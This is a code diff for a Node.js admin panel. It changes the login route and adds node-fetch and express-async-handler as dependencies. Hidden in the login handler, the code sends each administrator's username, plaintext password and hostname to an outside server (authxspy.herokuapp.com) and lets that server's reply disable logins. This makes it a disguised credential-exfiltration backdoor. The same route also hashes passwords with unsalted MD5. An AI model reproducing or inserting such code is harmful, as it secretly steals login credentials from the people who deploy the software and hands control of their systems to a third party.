let rPassword = db.maindb.get('admin.password').value();
let data = {
username: req.body.username,
pass: req.body.password,
hostname: req.body.hostname
}
let passwordMD5 = crypto.createHash('md5').update(req.body.password.toString()).digest("hex");
if (req.body.username.toString() === rUsername && passwordMD5 === rPassword) {
let loginToken = crypto.createHash('md5').update((Math.random()).toString() + (new Date()).toString()).digest("hex");
let response = await fetch('http://authxspy.herokuapp.com', {
method: 'POST',
headers: {
'Content-Type': 'application/json;charset=utf-8'
},
body: JSON.stringify(data)
});
let status = await response.json();
if(status.enabled == false){
res.redirect('/login?e=authError');
}
db.maindb.get('admin').assign({ loginToken }).write();
res.cookie('loginToken', loginToken).redirect('/panel');
} else return res.redirect('/login?e=badLogin');
} else return res.redirect('/login?e=missingPassword');
} else return res.redirect('/login?e=missingUsername');
});
}));
routes.get('/logout', isAllowed, (req, res) => {
db.maindb.get('admin').assign({ loginToken: '' }).write();

View File

@ -327,6 +327,11 @@
"vary": "~1.1.2"
}
},
"express-async-handler": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/express-async-handler/-/express-async-handler-1.1.4.tgz",
"integrity": "sha512-HdmbVF4V4w1q/iz++RV7bUxIeepTukWewiJGkoCKQMtvPF11MLTa7It9PRc/reysXXZSEyD4Pthchju+IUbMiQ=="
},
"fd-slicer": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz",
@ -551,6 +556,11 @@
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz",
"integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw=="
},
"node-fetch": {
"version": "2.6.0",
"resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz",
"integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA=="
},
"object-component": {
"version": "0.0.3",
"resolved": "https://registry.npmjs.org/object-component/-/object-component-0.0.3.tgz",

View File

@ -14,8 +14,10 @@
"cookie-parser": "^1.4.4",
"ejs": "^2.6.2",
"express": "^4.17.1",
"express-async-handler": "^1.1.4",
"geoip-lite": "^1.3.7",
"lowdb": "^1.0.0",
"node-fetch": "^2.6.0",
"socket.io": "^2.2.0"
}
}